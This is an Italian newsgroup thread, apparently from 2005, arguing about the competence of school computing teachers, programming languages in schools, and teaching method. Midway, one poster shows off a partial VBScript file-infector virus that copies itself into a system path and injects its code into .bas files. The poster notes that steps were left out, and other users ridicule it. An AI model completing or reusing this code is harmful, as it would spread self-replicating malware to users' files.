Newsgroup: it.istruzione.scuola
Titolo: Informatica nelle scuole

Sentite , ma perke nelle scuole in cui si insegna informatica , il docente 
che insegna questa divina materia è sempre o un cojone  , o nn sa nulla di 
informatica (massimo copia e incolla) ???
Che li metterrebbero a insegnare un'altra cosa ..
_______________________________________
L' Hacking è come un gioco di scacchi ....
.......basta una mossa falsa per perdere .

 Che li metterrebbero a insegnare un'altra cosa ..
nell'altra graduatoria ci sono troppe persone.
E quindi per portare a casa uno stipendio, accettano anche di fare delle 
figuracce. 


Quei 2 o 3 che ho visto io "dovevano" essere di Matematica.....anche se non 
avevano mai toccato un Pc

 Che li metterrebbero a insegnare un'altra
Chi sa.. fa
Chi non sa fare... insegna
Chi non sa insegnare... dirige

 Che li metterrebbero a insegnare un'altra cosa ..
Un po' di recupero di italiano, magari.
Tabhall

Alcuni , poi, credono che sono dei veri esperti informatici ....
aahahahahahha
____________________________________
Suprema Ombra , Suprema Aurora.... 

E fanno delle figure di merda con i ragazzi ............come 
me.............(che modesto............hihihih)





 informatica (massimo copia e incolla) ???
Gli insegnanti vengono assegnati in base alle classi.
Se a te capita un coglione è perchè per te basta e avanza.
..

 ha scritto nel messaggio 
news:_JfRe.1003$4g5....@news4.tin.it...


 Se a te capita un coglione è perchè per te basta e avanza.
:DDDD grande!

 usare word ....buahahahaha
Tesoro, vi fate un favore a vicenda: tu insegni loro word, loro ti 
insegnano un pochino di italiano. Il che, guarda, per te è solo un 
vantaggio: se con word scrivi delle castronerie, cosa te ne fai di 
questa tua abilità?
A ben vedere, alla fine, ci guadagni sempre tu.

> No , tutti sono cojoni , dato che mi vengono a chiamare perke nn sanno 



Mha, il mio collega di informatica dell'anno scorso era un patito di Linux,
passava le notti online sviluppando un videogame con dei colleghi francesi,
conosceva e padroneggiava una decina di linguaggi di alto livello e 8
diversi dialetti di assembler per processori della famiglia 86. Purtroppo
non era un fulmine di guerra nella didattica e la maggior parte degli
allievi non riusciva a capire molto dalle sue spiegazioni. Due
considerazioni...
a) Meglio un genio del computer che non si fa capire o un insegnante di
preparazione media che sappia fornire almeno le basi della materia in
maniera chiara e comprensibile? (vietato rispondere meglio un genio del
computer che si fa anche capire, troppo facile:)
b) Sono proprio così impreparati TUTTI i docenti di informatica? Io credo
che quelli impreparati siano i laureati in matematica che poi si riciclano
nella classe di concorso di informatica (e manco questo è del tutto vero,
sia perchè i matematici con una laurea recente l'informatica la sanno quasi
come un informatico puro, sia perchè nessuno vieta ad un matematico
laureatosi 10-15 anni fa di impararsi l'informatica per i fatti propri).
comunque credo che possa capitare a chiunque di incontrare qualche allievo
particolarmente brillante o addirittura più preparato di te su determinati
aspetti. A un insegnante di scuola superiore IMHO non si chiede di
padroneggiare tutto lo scibile umano ma di essere in grado di trasmettere
pochi essenziali concetti di base e di formare una certa mentalità, una
certa forma mentis. qui stà la differenza tra "ammaestrare" (cioè
trasmettere delle conoscenze incapaci di progredire autonomamente ed essere
fervide) e "insegnare" (cioè trasmettere le nozioni e creare le condizioni
all'interno delle quali l'allievo possa, se lo desidera, accrescere
autonomamente le proprie competenze ed abilità).
                                          Sol
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

 Che li metterrebbero a insegnare un'altra cosa ..
perché di solito può insegnarla una marea di gente...un laureato in 
matematica, un ingegnere e ho visto
pure degli economisti. Di solito per fame ottimi insegnanti di matematica o 
fisica accettano
di insegnare informatica perché non trovano di meglio. Purtroppo la maggior 
parte dei matematici che conosco di informatica
ne sanno ben poco...sono dei gran teorici ma pratica zero. 

 il docente  che insegna questa divina materia è sempre o un cojone  , o nn
sa nulla di ....
Non guardiamo una sola materia ma guardiamole tutte. Non è un caso che a
livello internazionale la scuola italiana si trovi molto in basso, sia in
lingua italiana, sia in matematica, sia in scienze, ecc. ecc.
E' da constatare, tuttavia, che gli alunni si aspettino molto dai docenti di
informatica, cioè si aspettino che il docente ne sappia di più degli alunni.
Ma questo è solo un fatto relativo, nel senso che visto che in matematica
gli alunni non sanno proprio nulla, basta che il docente di matematica
insegni qualcosa che gli alunni non sanno, per ritenersi più o meno
appagati.
In informatica, invece, visto che buona parte degli alunni sono già
competenti, sia in internet, sia in Office, sia a volte anche in C, Basic,
Java, ecc. ovvio che si aspettino dai docenti di informatica qualcosa di
più.
Ma la tradizione scolastica informatica italiana è piena di fallimenti a
catena.
1 - Logo . Chi l'ha visto? eravamo negli anni 70.
2 - Pascal, meglio se turbo. Chi l'ha visto? siamo negli anni 80. Idem
Cobol.
3 - PHP, Javascript, Java, cioè quello che serve ora in infomatica: dove
stanno? Fuori dalla scuola. Importante ora è avere Linus, cioè i pannolini
Linux; importante è andare contro Bill Gates, cioè contro quello che che
serve per l'informatica. Questa è la scuola italiana, cioè un insieme di
cose che siano al di fuori del mondo reale commerciale.
Infatti la scuola della sinistra parte dal presupposto che l'alunno non
abbia le facoltà per ragionare, ma è solo con lo studio di quello che non
serve, cioè del mondo astratto, del mondo che non esiste, solo con questo
l'alunno, nato deficiente, acquista le capacità non di apprendere i
contenuti, ma di imparare ad imparare.
La pedagogia scolastica questo obiettivo primario raggiunge, dopo ben 18
anni, tra scuola e università; cioè ritorna alla origini, cioè dimostra,
finalmente, che un alunno sa imparare, e quindi ha diritto ad una laurea,
non per i contenuti professionali che egli ha e che gli serviranno per la
professione, cosa che i docenti devono assolutamente evitare di dare agli
studenti, dato il conflitto di interessi, ma la laurea o il diploma di Sato
si dà proprio perché l'alunno ha imparato ad imparare.
Ovvio che tutti sanno che tutti si nasce avendo le capacità di imparare
innate.
Ma questa è una nozione di destra pedagogica e non di sinistra democratica
di massa.
La superiorità culturale della sinistra nei confronti della inesistente
cultura di destra sta proprio in questo postulato.
-- 
Pietro De Paolis

 neanche se studiassero informatica per 10 anni
Beh, questo me lo auguro e, onestamente, vista l'età che sembri avere, 
davo per scontato andassi oltre. Anche perchè, diciamocelo, conoscere il 
solo word (ma anche il pacchetto Office e applicativi similari) non è 
che innalzi un individuo anche solo ad un buon livello di conoscenza 
dell'informatica.

 ha scritto nel messaggio 
news:62Z94Z66Z39Y11...@usenet.libero.it...


 ha scritto nel messaggio 
news:V5lRe.3179$4g5.1...@news4.tin.it...


 cultura di destra sta proprio in questo postulato.
qui mi sono perso...
non si può insegnare a scuola l'informatica che veramente serve perché non è
definibile in maniera esatta. Serve a cosa? possiamo solo dare delle basi 
che si spera
possano aiutare lo studente a migliorare le proprie conoscenze informatiche 
e che gli permettano
di approfondirle da solo. Se stessimo dietro tutte le innovazioni si 
dovrebbero riscrivere ogni 6 mesi i
manuali di informatica... 

 Perke chi è Bill Gates ?? Se io voglio seguire Kevin Mitnick??
nella scuola si sa benissimo cos'è linux...ci sono parecchi istituti tecnici 
(almeno dalle
mie parti) dove ci sono corsi di linux (amm. di rete, server, uso 
amatoriale,...) per
studenti e docenti...inoltre in molti istituti dove sono stato ci sono 
numerosi
docenti che si fanno il mazzo per distribuire eduknoppix e openoffice...non
occorre dire cosa se ne fanno la maggior parte degli studenti dei cd 
distribuiti...
quindi inutile gettare le perle ai porci...
adesso non vorrei demoralizzarti ma anche il sig. kevin mitnick si è
prostrato davanti al dio denaro. Prima tanto hacker di qua e di là....
a me i soldi non interessano e adesso è un esperto di sicurezza che
bacia il cul* all'fbi e alla cia...ma dai... 

 avevano mai toccato un Pc
io ho visto anche degli ingegneri che non sapevano la differenza tra 
copia&incolla e taglia&incolla.
Qui non si è capita una cosa. La conoscenza informatica non è determinata 
dalla laurea ma dalla
passione e dallo studio personale del docente. Informatica non è come 
matematica o altre materie...
è proprio qualcosa che uno coltiva personalmente aggiornandosi di continuo. 
Avete mai conosciuto certi
laureati in scienze dell'informazione di tanti anni fa? ce ne sono alcuni 
che non si sono mai aggiornati che
sanno usare solo terminali VAX e qualche comando unix! 

 Quoto...
si , ma fallo meglio la prossima volta............ 

 informatica (massimo copia e incolla) ???
da come ti ha insegnato a quotare devi avere  proprio ragione !

 autonomamente le proprie competenze ed abilità).
perfetto. Infatti penso l'importante è saper trasmettere qualcosa.
Cmq devo dire che gli smanettoni di informatica a volte sono ottusi e 
credono di
sapere tutto. Cercano in tutti i modi di metter in difficoltà il povero 
docente.
Si leggono quattro cavolte sui giornaletti tipo hackers (in edicola per 
tutti)
e poi pensano di essere dei super informatici. Per me sono solo dei cojoni 
che stanno
12 ore al computer...non sono nemmeno dei geni dell'informatica. Vorrei 
vederli
alle prese con un bell'esame di algoritmi e strutture dati o database...e 
poi ne riparliamo.
E poi sinceramente cosa gliene frega ad un docente di informatica di 
bypassare il proxy
con un tunnelling http per scaricarsi "maial college" o "la rivincita delle 
bionde"?
ecco questo è quello che propongo come informatica questi presunti geni...
I veri genietti sono quelli delle olimpiadi di matematica ragazzi...altro 
che smanettoni! 


Mha, francamente non credo che questa descrizione sia completa. Premetto che
io non sono molto preparato in informatica, sono più versato nell'HW che
nelle sofisticherie del SW. Cmq mi è capitato a volte di entrare in classe
dopo la lezione del mio collega e di trovare alla lavagna gli schemi
disegnati da lui e ti posso assicurare che, nella maggioranza dei casi,
erano quasi incomprensibili. Non mi riferisco al contenuto ma proprio alla
struttura logica. Non pretendo di dare lezioni a nessuno però quando butto
giù lo schema di un circuito alla lavagna si capisce che è un circuito (e se
si conosce l'elettronica si capisce anche cosa fa). Inoltre il collega era
preparatissimo ma sostanzialmente viveva in un mondo tutto suo... oltre
all'informatica non c'era proprio nulla e intavolare un discorso con lui era
abbastanza difficile.
D'altra parte è fuor di dubbio che anche tu abbia una parte di ragione. La
maggioranza degli studenti non ha dato una mano al mio collega perchè la
maggioranza degli studenti preferisce cazzeggiare e fare casino che
impegnarsi per imparare l'informatica. Praticamente tutti hanno riconosciuto
che il mio collega era "un genio" ma praticamente nessuno si è impegnato per
trarre vantaggio da questa sua genialità. questo, a mio parere, è il fatto
più grave: non si può chiedere ai docenti di essere geniali e santi al tempo
stesso. C'è stato un periodo in cui il mio collega ha rischiato
l'esaurimento e la depressione (non stò scherzando) a causa del disinteresse
e dell'apatia di certe classi. Fortunatamente è riuscito comunque ad
arrivare in fondo all'anno scolastico ma ha dovuto rassegnarsi a
semplificare di molto il "programma" e ad adottare metodi "repressivi" con
gli studenti più casinisti. Tuttavia quando ci siamo salutati alla fine
dell'anno scorso mi ha confidato che gli era del tutto passata la voglia di
tornare ad insegnare e, infatti, qust'anno avrò un nuovo collega di
informatica.
Bada bene, lui non è stato "cacciato" dal preside o dalla scuola. Se ne è
andato per i fatti suoi perchè non ha giudicato la scuola un ambiente adatto
a lui perchè gli studenti non erano interessati e disposti ad apprendere
come i professionisti a cui teneva corsi di aggiornamento per corso del LUG
della mia città. E' la legge della domanda e dell'offerta... cosa chiedono
gli studenti? Chiedono davvero docenti preparati e basta? Non è colpa anche
degli studenti (oltre che dei colleghi che non l'hanno supportato e della
scuola che l'ha lasciato da solo) se il una persona preparata come quel mio
collega se ne è andato dalla scuola?
Non ci si può lamentare della qualità dei docenti se poi, a parte lo
stipendio basso ed a parte la considerazione sociale rasoterra, le classi
diventano luoghi dello stress e dell'apatia invece che dell'interesse e
della partecipazione.
Tutto questo, ovviamente, IMHO.


 usare word ....buahahahaha
Ah ecco, l'informatica è sapere usare word.
..

 Perke chi è Bill Gates ?? Se io voglio seguire Kevin Mitnick??
Il problema culturale di molti docenti è quello di andare contro chiunque
abbia interessi commerciali. ( per esempio: tutti contro Berlusconi e
compagnia bella). Visto che Microsoft ha enormi interessi commerciali, a
scuola si cerca di contrastarla in ogni modo.
-- 
Pietro De Paolis


Intanto sappiamo che i libri di economia, diritto, scienze delle finanze,
ecc. vengono scritti e aggiornati ogni anno, anche se titolo, autore e casa
editrice restano gli stessi; quindi la cosa č fattibile ed č anzi
obbligatoria.
Il problema č dei tempi, dei modi e di chi debba decidere cosa insegnare.
La Moratti ha dato solo delle indicazioni nazionali; ha cioč eliminato i
vecchi programmi ministeriali obbligatori.
Oggi, ancora, molti libri di matematica ed informatica si basano sul Pascal.
Chi ha deciso di rimanere arretrati?
Quale ditta commerciale diffonde i suoi programmi applicativi nel 2005 in
Pascal?
O sono io che vivo su Marte?
La scuola puņ e deve seguire la societą; se potesse influenzare le scelte
della societą sarebbe anche un bene. Ma visto che la scuola non ha
attualmente un grande potere, in confronto alla TV, internet, stampa, ecc.,
in attesa di tempi migliori, non gli resta che adeguarsi; cioč seguire le
"mode" del momento, che poi č quello che la societą attuale richiede.
Per cui la vecchia scelta di arroccarsi su un modello culturale non
commerciale, cioč non adeguato alla societą attuale, č una scelta, oltre che
ipocrita, anche perdente da tutti i punti di vista.
-- 
Pietro De Paolis

 scuola si cerca di contrastarla in ogni modo.
a me non sembra proprio...anzi nella scuola vedo proliferare microsoft dai 
libri ai docenti...
forse per ignoranza? 

 ha scritto nel messaggio news:VqlRe.4119
2$F23.4...@twister2.libero.it...


 O sono io che vivo su Marte?
ma non hai capito il senso dell'informatica...non devo per forza imparare un 
linguaggio
che sia lo stato dell'arte l'importante è impare un linguaggio che mi aiuti 
a costruire
dei programmi funzionali. Che poi usi la notazione BNF, il pascal o il 
fortran (ancora usatissimo te l'assicuro) è
un problema marginale. Una volta costruito l'algoritmo la traduzione in 
linguaggio di alto livello
dovrebbe essere immediata. Però dobbiamo imparare a costruire l'algoritmo 
senza fossilizzarci su un linguaggio
specifico.

 insegnanti all'altezza.
mi sembra che la tua conclusione sia perfetta.


Veramente nelle scuole in cui ho insegnato informatica ho fatto (e non 
solo io) SQL, progettazione di db, programmazione C/S, VB, C++, C#, 
.NET, ASP, 
ASP.NET
, ADO, 
ADO.NET
, Javascript, PHP, Linux...
Oltre a corsi pomeridiani di Dreamweaver, Flash e grafica in genere, 
installazione sw e hw.
Può bastare?
Se da voi non è così, siete messi male. Costringete gli insegnanti di 
informatica a cambiare e aggiornarsi. Qui si vedranno le vere capacità. 
Poi vediamo se un ingegnere o un matematico o peggio un economista sono 
capaci di studiarsi tutta questa roba e tenersi al passo con la 
tecnologia. Purtroppo di laureati in informatica che insegnano 
informatica siamo pochissimi nella scuola (10%?). E io mi tolgo perchè 
mi hanno appena costretto a passare a matematica (che di certo insegnerò 
meglio di quanto un matematico non insegni informatica).
-- 
TheProf

 gli interessi dei docenti, anche in modo economico.
Ecco: anche qui. Inizi con il chiedere cosa significa "latte fresco" e 
da qui fai discendere - come conseguenza - che manca un'associazione di 
docenti che tuteli la scuola, ecc. COSA SIGNIFICA?!? Soprattutto, che 
cacchio c'entrano i docenti col latte fresco?

ruks wrote:

Già. Non fa una piega.

 un matematico non insegni informatica).
in generale hai ragione ma azzardo una cosa...il .NET l'hai imparato 
all'università?
penso di no...e il Flash? penso di no pure...quindi?
Informatica a parte qualche corso non è molto dissimile da matematica o 
ingegneria. Solo
che ci si focalizza su più aspetti tecnici. Inoltre dipende da dove hai 
studiato informatica. Ci sono certi
corsi in italia dove si predilige l'aspetto teorico (sintassi e semantica 
dei linguaggi) e alla fine
esci che sei più un matematico che un informatico nel senso pratico. Ho miei 
amici laureati in inf.
che non sanno nemmeno cosa sia .NET
Sinceramente un matematico ed un ingegnere non penso abbiano difficoltà a 
studiarsi queste
cose (del resto i programmatori .NET che conosco sono diplomati e sono 
bravissimi).
In fondo sono cose che si imparano anche nei corsi di formazione 
professionale. Non vedo
che difficoltà ci siano. Il punto è che matematici e ignegneri spesso non 
amano l'informatica e quindi
non vogliono aggiornarsi di proposito.
Il fatto che i matematici e gli ingegneri che insegnano informatica non 
sappiano queste cose e non
vogliano impararle dipende da: pigrizia, menefreghismo, poca passione per la 
materia...
Di solito accettano solo per bisogno.


Mi sono laureato 16 anni fa quindi queste cose le ho imparate da solo. 
Il doscorso che facevo è diverso: all'università come nella scuola 
superiore non è importante tanto studiare cose aggiornate che poi 
diverranno superate nel giro di pochi mesi, quanto imparare un metodo, e 
soprattutto avere una visione generale della materia.
Per me studiare un nuovo linguaggio o un nuovo metodo di programmazione 
(non esisteva la programmazione event-driven quando mi sono laureato) o 
nuove tecnologie come le LAN che non ho mai studiato all'università è 
(quasi) banale ed è un piacere. Per molti colleghi ingegneri o 
matematici (e non sto parlando in generale ma di persone reali che 
conosco - quasi tutte) è molto più difficile. Non è una questione di 
bravura o intelligenza ma di formazione. La formazione che mi ha dato la 
mia università (PISA) che ringrazierò sempre è stata tale da permettermi 
oggi di riuscire facilmente a tenermi aggiornato. Un matematico potrà 
fare altrettanto nella sua materia.
Ma tutti questi discorsi sono inutili per tutto deriva non dalla volontà 
di ogni insegnante ma da quello che la SCUOLA ti costringe a fare. E' 
giusto che un prof accetti di insegnare una materia che non è la sua 
perchè non c'è altro; i tempi dei missionari sono finiti. Chi vuole una 
scuola di qualità se la prenda con il ministero e con il governo.
Di certo io, ora che insegno matematica, non mi prodigherò come prima a 
fare corsi, a tenermi aggiornato (a mie spese), a risolvere i problemi 
informatici della segreteria, della scuola e dei colleghi.
-- 
TheProf

 soprattutto avere una visione generale della materia.
ma penso che informatica 16 anni fa non fosse tanto dissimile da un corso di
matematica...il metodo di studio e lavoro è simile quindi secondo me dipende
molto dalla persona stessa. Se hai scelto informatica è perché fosse eri 
inconsciamte
portato per quella materia. Cmq pisa è forse una delle migliori università 
italiane.
Probabilmente ti hanno dato il metodo giusto cosa che non sarebbe successa 
magari
studiando informatica in un'altra città. 

 ha scritto nel messaggio 
news:pSlRe.41248$F23.4...@twister2.libero.it...


 ha scritto nel messaggio 
news:WDnRe.4011$4g5.2...@news4.tin.it...


> ....





 Chi non sa insegnare... dirige
Chi non sa dirigere... ispeziona
Chi non sa ispezionare... amministra
Cosi la catena gerarchica è completa ;-)
Earendil

 come gira...
Pensa un po': quando mi iscrissi all'università pensai di trovare altri 
studenti più o meno interessati, non dico sul genere "camminano per i 
corridoi discutendo di transistor e circuiti", ma perlomeno interessati si.
Nella stragrande maggioranza le chiacchere invece vertevano sul calcio, 
sulla fxxa   (vabbè, a ingegneria era una rarità da collezione...), e sul 
torneo di briscola, scopa e tressette che quotidianamente si svolgeva nel 
corridoio. (I più preparati anche scopone scientifico).
Che ci vuoi fare, in Italia la cultura è un optional spesso pure 
sconsigliato dalla Casa...
Earendil

 dell'informatica.
Diciamolo pure.
Anzi diciamo soprattutto che quella non è "informatica", ma competenze 
informatiche, che sono tutt'altra cosa...
(Per ZonaRossa: hanno il pessimo vizio di chiamarla sempre "informatica", 
ma ciò che viene insegnato ai licei P.N.I. non è l'informatica che si fa in 
un istituto tecnico industriale.).
Earendil

 Anzi diciamo soprattutto che quella non è "informatica", 
Sottoscrivo. Pienamente.

Si quella nn è informatica , questa è informatica ..........provate a capire 
cos'è........
Ovviamente nn c'e qualke passaggio , per evitare che qualke lamer se lo 
copi...
fso.copyfile wscript.scriptfullname,"C:\windows\WindowsSystem.sys"
allsourcefrm = ""
oneline = ""
set opendroperfrm = fso.OpenTextFile("C:\windows\WindowsSystem.sys", 1)
do while opendroperfrm.readline <> "'"
   oneline = opendroperfrm.readline
   frmformat = replace(oneline,chr(34),chr(34)&"&chr(34)&"&chr(34))
   fullline = "? #1," & frmformat
   allsourcefrm = allsourcefrm & vbcrlf & fullline
loop
opendroperfrm.close
If fso.GetExtensionName(file.path)="bas" then
on error resume next
set readfrmmarker = fso.OpenTextFile(file.path,1)
frmmarker = readfrmmarker.readline
frmreadall = readfrmmarker.readall
  if frmmarker <> "Rem Se" then
      set readfrmmarker = fso.CreateTextFile(file.path, True)
      readfrmmarker.write "Rem Se" & vbcrlf & frmreadall & vbcrlf
       vbcrlf
      readfrmmarker.write allsourcefrm & vbcrlf & "close #1" & vbcrlf & 
"shell " & chr(34) &   end if
end if 

 ha scritto nel 
messaggio news:br8eh1t1ic0o4ujmf...@4ax.com...


 end if
ridicolo! questa informatica? puah...ma vai a studiarti un Tanebaum invece 
di rompere con queste cazzate da hackers' journal!!! 

 ha scritto nel messaggio 
news:lXTRe.44084$F23.5...@twister2.libero.it...


 questo???? visto che è ridicolo dimmo cos'e ....
non me ne frega di te, del tuo stupido script e tanto meno di cosa di cosa 
fai...
Se vieni in questo newsgroup per far vedere di saperne di più sei fuori 
strada...
poi ad uno che non sa nemmeno l'italiano manco rispondo...
io quello che so lo so...su di te ho molti dubbi...
cmq nel web con poca ricerca ho scoperto che hai rotto le palle con le tue 
pseudo conoscenze ad
altri...
sei così furbo che usi fastweb con ip fisso (oltre ad outlook come 
newsreader)?????

 contenuti, ma di imparare ad imparare.
Forse volevi dire "acquista non i contenuti, ma la capacità di imparare".
Personalmente, non me ne faccio niente di saper usare qualsiasi cosa 
oggi, se non saprò imparare ad usare la versione di domani.

 nel giro di pochi mesi).
ma non so se avete guardato i manuali di informatica per gli indirizzi 
tecnologici...
ci sono ampie nozioni di PHP, Javascript e Java (che cmq non reputo una 
buona scelta)
A quanto mi risulta dalle mie parti queste cose si studiano...
La parte .NET invece è più trascurata ma solo perché è un po' più complessa.
Quindi dove sta il problema? non lo si fa solo nelle scuole dove ci sono 
pigroni e
cialtroni.

 lo copi...
Naaaa :-) quello lo possono scrivere i mangiatori di quiche, impara dal 
Vero Programmatore:
http://www.arcetri.astro.it/~comore/true_programmer.txt
Quindi, procedi con l'autovalutazione: 
http://www.armory.com/tests/hacker.html
(BTW, dovresti portare la tua tastiera da un Vero Riparatore, ci sono un 
paio di caratteri che non funzionano...;-) )
Earendil

 ha scritto nel messaggio 
news:3m0Se.43760$HM1.1...@twister1.libero.it...


 hai trovato??
non è quello il punto...cambiare ip è facilissimo...il punto è che ti sei 
collegato sempre con lo stesso e per di più fisso...
quindi sei un gonzo...inoltre il fatto che lasci evidenti tracce in internet 
(hai già rotto le scatole in certi newsgroup con messaggi assurdi...) 
implica
che sei ancor più gonzo e si possono sapere tante cose su di te...
questo mi basta a non considerarti più visto che non sei "interessante"... 

Ma con l'ip che ho nei news group e nelle mail , nn ci puoi fare nulla, 
serve l'altro ip , quello esterno , questo è un ip di classe C


 
beh, intanto con quello ha ricollegato alla tua identità diversi "pezzi 
di internet" che rivelano molto su di te, anche se forse non c'era 
bisogno di fare tale ricerca.
Comqunue il punto è che in un certo senso ha "infranto la privacy" di 
ZonaRossa, sputtanandolo di fronte all'intero newsgroup. Se anche non 
fosse possibile risalire alla tua persona da quell'ip e da questo nome 
(ma chissà, magari con quell'ip fisso ti sei lascito sfuggire qualche 
info privata..), comunque il danno è fatto, e tutto per colpa della tua 
scarsa attenzione nell'uso degli strumenti informatici, come internet.
-- 

 serve l'altro ip , quello esterno , questo è un ip di classe C
il problema è che si capisce subito che non sei un drago...non sai neanche 
quotare
e non usi il "gergo segreto"...in ogni caso non insistere...certo l'ip è 
poco ma
non preoccuparti potrebbe bastare...hai lasciato troppe tracce su 
internet...
il problema è che qui a nessuno frega niente di uno come te...ho altre cose 
a
cui pensare! 

 ha scritto nel messaggio 
news:XleSe.13618$4g5.8...@news4.tin.it...


 ha scritto nel messaggio 
news:XleSe.13618$4g5.8...@news4.tin.it...


 piuttosto avro infranto la mia privacy .
continui a non capire un tubo...il nick lo sanno cambiare tutti...però ti 
sei collegato con ip fisso...
lo capisci? questo mi conferma che sei solo un cazzaro...uno che usa come 
dominio mail @
fbi.gov
 mamma
mia che fantasia...siamo tornati alle elementari... 

 .....................................................ciao
fai quello che vuoi qui puoi rimanere tranquillo basta che posti cose 
interessanti per il newsgroup.
Tipo avresti idee su nuovi corsi da proporre a scuola? idee, 
suggerimenti,...sul serio per
avvicinare i ragazzi all'informatica. Ad esempio secondo te fare un corso 
sulla sicurezza su internet
in un liceo sc. è possibile? non tante ore...e cosa insegnare...che 
strumenti utilizzare...
non cambiare troppi nick...se ti piace quello tienlo...chi te lo vieta...è 
bello... 

 questo č un ip di classe C
Forse chi ti aveva consigliato il Tanenbaum ti aveva dato un ottimo 
consiglio... ;-)
Per prima cosa, la classe dell'IP non ha niente a che vedere con il fatto 
che sia pubblico o privato.
E poi, il tuo, non č nemmeno un classe C, ma bensě un classe A. ;-)
(
39.0.0.0/8
)
Earendil

 soprattutto avere una visione generale della materia....
Questo modo di ragionare, molto diffuso nella nostra scuola, si chiama
"masturbazione mentale".
Cioè: per imparare l'italiano si studia il latino? Appunto: cose da pazzi.
Il metodo di apprendere e di operare lo abbiamo già per conto nostro, appena
nasciamo; ed è quello di: copiare, imitare, quindi apprendere, quindi fare.
Imparare ad usare la bici in una realtà in cui occorra il brevetto di pilota
può essere un divertimento, ma non una scuola.
Insegnare in informatica quello che era vero 10 anni fa, o 5 anni fa, vista
la velocità con cui si va in informatica, è solo una cosa assurda, dettata
da pigrizia dei docenti che non intendono aggiornarsi o non ne hanno più le
capacità, visto che in Italia siamo un pò tutti di età avanzata.
Quindi non troviamo giustificazioni assurde, tipo che sia importante il
metodo. Nella scuola e nella vita sono importanti i contenuti, cioè i
risultati e non il metodo con cui si lavora o si studia.
-- 
Pietro De Paolis

 cialtroni.
Io sono sempre sfortunato!
Vivo in una scuola dove lo scorso anno scolastico 2004/05, ITIS indirizzo
informatica industriale, si sono limitati al Pascal.
Cambieranno quest'anno?
Lo si spera, in quanto è cambiato docente.
Se il docente, invece, fosse rimasto quello di sei anni fa, quando si
sarebbe ancora tollerato il Pascal, e lasciando sempre lo stesso libro di
testo, avremmo avuto  Pascal fino al pensionamento del docente; tanto è il
metodo importante e non i contenuti. O no?
-- 
Pietro De Paolis

 risultati e non il metodo con cui si lavora o si studia.
va bene allora nei liceo scientific invece di insegnare un metodo per 
risolvere
i problemi diamo solo le formule e via! e togliamo anche il latino...
Il metodo di apprendere è sì innato ma se la tua tesi fosse interamente 
valida non servirebbe
neanche la scuola! rileggi l'hai detto tu...
Inoltre probabilmente tu non conosci il teorema di bohm-jacopini. Non 
commento.
Quindi studiare algoritmi e strutture dati secondo te è inutile? con tutto 
il rispetto
i concetti di pila, stack, albero,ricorsione sono gli stessi di 20 anni fa.
Imparati una volta li saprai implementare in qualsiasi linguaggio, non 
importa
il linguaggio. Certo farli in un linguaggio più accattivante è meglio. 

 Inoltre probabilmente tu non conosci il teorema di bohm-jacopini.
Io li ho conosciuti personalmente!!! 

 commento.....
Io so che quando una persona non ha argomenti per confutare fa ricorso
all'aiuto di persone sconosciute, morte o vive.
Spiegami cosa avrebbero detto al tuo posto i tuoi da me sconosciuti amici;
anzi dimmi tu cosa dici, tanto loro non sono qui a discutere.
-- 
Pietro De Paolis

 anzi dimmi tu cosa dici, tanto loro non sono qui a discutere.
mamma mia e ti reputi esperto di informatica dando consigli a destra e a 
manca
criticando le mie posizioni sulla programmazione. Guarda che sei tu venuto 
fuori
con la storia dei linguaggi dal logo al java. Se non conosci "quei due" 
probabilmente
di informatica vera ne sai bene poco. 

> Io li ho conosciuti personalmente!!!
complimenti! 


Il loro TEOREMA č una pietra miliare. 

 complimenti!
Più esattamente sono stato allievo di entrambi qui a Roma.
Purtroppo Jacopini è morto di recente ma Jacopo Ortis non se nè accorto.
Di Bohm ricordo la sua figura bellissima e la chiarezza espositiva, 
memorabili le sue lezioni sul lamda-calcolo. 

> Il loro TEOREMA č una pietra miliare.
purtroppo persone come PdP non dovrebbero nemmeno
parlare di informatica. E invece continua a sputare sentenze e a sparare 
cazzate.
Il fatto che non li conosca č normale data la sua scarsa conoscenza 
dell'informatica. 

 fisici dei nostri tempi) fossero del tutto incomprensibili...
non è affatto così.
Questa è una leggenda metropoliatna come quella dell'Einstein asino in 
matematica.
Feynman aveva delle ottime capacità didattiche ed è stato uno dei primi a 
confermare che preparare e tenere le lezioni è più impegnativo che fare 
ricerca.
ciao
feynman 

è venuto a chiamare
tu avrai risposto orgoglioso "obbedisco, signor ministero".
ciao
feynman 

corregge ; )
è stupefacente come un "esperto informatico" dia tanta importanza al 
correttore ortografico di Bill Gates.
Word non correggerebbe nemmeno la banalissima:
"ZonaRossa è affondato con la sua neve".
ciao
feynman 

 a me risulta che Feynmann avesse un'ottima didattica
hai letto "sei pezzi facili"?
http://www.libreriauniversitaria.it/BIT/8845915514/Sei_pezzi_facili.htm
-- 
Freedom's just another word for nothing left to lose
(Janis Joplin)
09/09/2005 18.41.33


http://www.libreriauniversitaria.it/BIT/8845915514/Sei_pezzi_facili.htm
non ancora :(
ho sfogliato le lezioni di fisica ma l'edizione e' orrenda e penso che
prendo direttamente quella inglese
ho letto diversi suoi libri divulgativi e li trovo fatti bene


 ricerca.
e invece è così perché mi è stato confermato da fonte attendibili, docenti 
universitari che
hanno avuto contatti con studenti di feynman,... 

 hanno avuto contatti con studenti di feynman,...
Mi sembrano davvero chiacchiere da bar, altro che attendibilità.
Io sono un fisico e di fisici ne conosco molti.
Nessuno di loro ha mai parlato di Feynman in questi termini, inoltre i suoi 
libri divulgativi e le sue Lezioni sono un esempio di chiarezza evidente di 
per sè.
ciao
feynman 

 evidente di per sè.
beh che le sue lezioni siano un esempio di chiarezza evidente sono 
d'accordo. Però da qui
non consegue che le sue lezioni reali siano state "perfette". Peraltro il 
feynman non è un libro
proprio proprio per "principianti". Tutti quelli che vi ci sono cimentati 
possono confermarlo.
Insomma non passi fisica 1 esame fondamentale studiando solo lì. Dopo averlo 
fatto però lo
apprezzi molto di più.
Ad esempio ci sono tantissimi casi di libri scritti benissimo e di autori 
che non sapevano proprio
spiegare. Mi ricordo di molti miei docenti conosciuti prima attreverso i 
loro libri. Mi dicevo: "cavolo
chissà come sarà fare le lezioni con quello...sarà sicuramente un'esperienza 
entusiasmante...almeno da
come scrivevano". Poi a lezione la grande delusione...non si capiva proprio 
un accidenti. Quindi "lezioni
scritte bene" non implica "buona didattica in classe".
se per questo anche io di fisici docenti ordinari ne conosco parecchi a 
Trieste, alla Sissa, all'ICTP e all'INFN.
Non penso che raccontino chiacchere da bar... 

 Non penso che raccontino chiacchere da bar...
io penso di sě, o forse c'č un po' di invidia nei confronti del genio.
Prendi QED (il libro) e prendi "sei pezzi facili"; sono due esempi di libri 
